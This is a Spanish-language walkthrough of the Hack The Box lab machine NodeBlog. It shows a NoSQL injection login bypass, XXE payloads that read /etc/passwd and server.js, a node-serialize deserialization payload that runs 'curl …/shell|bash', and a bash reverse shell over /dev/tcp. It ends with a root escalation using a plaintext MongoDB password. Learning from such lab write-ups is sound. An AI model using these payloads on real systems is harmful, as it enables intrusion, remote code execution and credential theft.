Nodeblog
Máquina NodeBlog de Hackthebox
Skills
- NoSQL Injection (Authentication Bypass)
- XXE File Read
- NodeJS Deserialization Attack (IIFE Abusing)
- Mongo Database Enumeration
Certificaciones
- eJPT
- eWPT
Descripción
Nodeblog es una máquina easy linux, nos encontramos ante una web vulnerable a NoSQL Injection mediante la cual accedemos al panel administrativo, posteriormente aprovechamos un XXE para leer el archivo server.js sobre que está montado el servidor web. Usando la información obtenida del archivo server.js explotamos un Deserialization Attack mediante el cual ganamos acceso a la máquina víctima. Una vez dentro de la máquina víctima nos conectamos a mongodb y obtenemos unas credenciales que nos permiten escalar privilegios en root
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
9
# ping 10.129.96.160
PING 10.129.96.160 (10.129.96.160) 56(84) bytes of data.
64 bytes from 10.129.96.160: icmp_seq=1 ttl=63 time=61.0 ms
64 bytes from 10.129.96.160: icmp_seq=2 ttl=63 time=58.3 ms
64 bytes from 10.129.96.160: icmp_seq=3 ttl=63 time=60.3 ms
^C
--- 10.129.96.160 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 58.256/59.879/61.041/1.182 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.96.160 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:17 CEST
Initiating SYN Stealth Scan at 20:17
Scanning 10.129.96.160 [65535 ports]
Discovered open port 22/tcp on 10.129.96.160
Discovered open port 5000/tcp on 10.129.96.160
Completed SYN Stealth Scan at 20:18, 15.34s elapsed (65535 total ports)
Nmap scan report for 10.129.96.160
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.43 seconds
Raw packets sent: 75321 (3.314MB) | Rcvd: 75329 (3.013MB)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# nmap -sCV -p 22,5000 10.129.96.160 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-18 20:18 CEST
Nmap scan report for 10.129.96.160
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds
Web Enumeration
Si accedemos a http://10.129.96.160:5000/
Si pulsamos en Login nos redirigirá a este panel
Web Exploitation
Debemos capturar la petición de login con Burpsuite y efectuar un Authentication Bypass https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#authentication-bypass, para ello debemos cambiar el Content-Type: application/json e inyectar el payload
1
{"user": {"$ne": null}, "password": {"$ne": null}}
Una vez logueados vemos esto
Si pulsamos en Upload y subimos un archivo .txt nos veremos el mensaje Invalid XML Example: Example DescriptionExample Markdown. Si pulsamos CTRL + U para ver el código fuente de la página veremos esto Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>, un archivo xml con esta estructura sería este
1
2
3
4
5
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>Example Markdown</markdown>
</post>
Al subir el archivo se nos rellenan automáticamente los campos de texto, lo que quiere decir que está interpretando el xml
Diseñamos este payload para leer el /etc/passwd de la máquina víctima
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
Subimos el archivo y vemos que nos lo interpreta
Debido a que el servidor usa nodejs, provoco un error para ver rutas interesantes y descubro que el servidor de aloja en la ruta /opt/blog
Diseñamos un nuevo payload para ver el código de server.js que es donde se aloja el servidor web
1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///opt/blog/server.js'>]>
<post>
<title>Example Post</title>
<description>Example Description</description>
<markdown>&xxe;</markdown>
</post>
El archivo server.js existe debido a que es el nombre por defecto que suele tener el archivo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
Vemos que se está empleando node-serealize, a la hora de procesar la cookie https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Node.md, debemos añadir () para que se acontezca un JavaScript immediately invoked function expressions (IIFEs). Este es el payload que usaremos para validar el Deserialization Attack
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.16.23', function(error,stdout, stderr) { console.log(stdout) });}()"}
Lo siguiente que debemos hacer es urlencodear este payload, en mi caso voy a usar el decoder de Burpsuite
1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%36%2e%32%33%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d
Nos ponemos en escucha de trazas icmp
1
# sudo tcpdump -i tun0 icmp
Reemplazamos la cookie de sesión por la nuestro payload y recargamos la página
Recibimos las trazas icmp
1
2
3
4
5
# sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:46:06.432195 IP 10.129.178.26 > 10.10.16.23: ICMP echo request, id 1, seq 1, length 64
00:46:06.432236 IP 10.10.16.23 > 10.129.178.26: ICMP echo reply, id 1, seq 1, length 64
Intrusión
Nos creamos una archivo shell
1
bash -i >& /dev/tcp/10.10.16.23/9001 0>&1
Nos creamos un servidor http con python en el mismo directorio que el archivo shell
1
# python -m http.server 80
Nos ponemos en escucha por el puerto 9001
1
# nc -nlvp 9001
Creamos el nuevo payload y lo urlencodeamos usando Burpsuite
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.16.23/shell|bash', function(error,stdout, stderr) { console.log(stdout) });}()"}
1
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%33%2f%73%68%65%6c%6c%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%7d%28%29%22%7d
Insertamos el payload en el campo de la cookie
Recibimos la shell
1
2
3
4
5
6
7
8
9
10
11
12
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.178.26] 57026
bash: cannot set terminal process group (859): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ whoami
whoami
admin
Vamos a realizar el tratamiento a la TTY, para ello obtenemos las dimensiones de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
No nos deja entrar al directorio /home por falta de permisos, sin embargo como es nuestro directorio podemos darle los permisos que queramos
1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drw-r--r-- 1 admin admin 220 Jan 3 2022 admin
admin@nodeblog:/home$ chmod 755 admin
chmod 755 admin
Entramos al directorio
1
2
3
4
5
6
admin@nodeblog:/home$ ls -l
ls -l
total 0
drwxr-xr-x 1 admin admin 220 Jan 3 2022 admin
admin@nodeblog:/home$ cd admin
cd admin
Listamos el contenido del directorio /home
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
admin@nodeblog:~$ ls -la
total 40
drwxr-xr-x 1 admin admin 270 Aug 20 03:18 .
drwxr-xr-x 1 root root 10 Dec 27 2021 ..
-rw-r--r-- 1 admin admin 1024 Aug 20 03:18 ..bash_historhy.swp
-rw------- 1 admin admin 1863 Dec 31 2021 .bash_history
-rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc
drwx------ 1 admin admin 40 Jul 2 2021 .cache
-rw------- 1 admin admin 148 Aug 20 03:23 .dbshell
drwxr-xr-x 1 admin admin 10 Aug 20 03:18 .local
-rw------- 1 admin admin 0 Dec 13 2021 .mongorc.js
drwxrwxr-x 1 admin admin 172 Aug 20 03:15 .pm2
-rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile
-rw-r--r-- 1 admin admin 0 Jul 2 2021 .sudo_as_admin_successful
-rw------- 1 admin admin 10950 Jan 3 2022 .viminfo
-rw-r--r-- 1 root root 33 Aug 20 02:53 user.txt
En el historial he encontrado esto
1
2
admin@nodeblog:~$ cat .bash_history
mongo --host mongodb://localhost:27017
Nos conectamos a mongodb y obtenemos la contraseña del usuario admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
admin@nodeblog:~$ mongo --host mongodb://localhost:27017
MongoDB shell version v3.6.8
connecting to: mongodb://localhost:27017
Implicit session: session { "id" : UUID("aabbc600-e3fe-4d8d-8eaa-657eb8f3bd81") }
MongoDB server version: 3.6.8
Server has startup warnings:
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten]
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2024-08-20T02:52:52.595+0000 I CONTROL [initandlisten]
> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
> use blog
switched to db blog
> show collections
articles
users
> db.users.find().pretty()
{
"_id" : ObjectId("61b7380ae5814df6030d2373"),
"createdAt" : ISODate("2021-12-13T12:09:46.009Z"),
"username" : "admin",
"password" : "IppsecSaysPleaseSubscribe",
"__v" : 0
}
Nos convertimos en usuario root
1
2
3
4
admin@nodeblog:~$ sudo su
[sudo] password for admin:
root@nodeblog:/home/admin# whoami
root












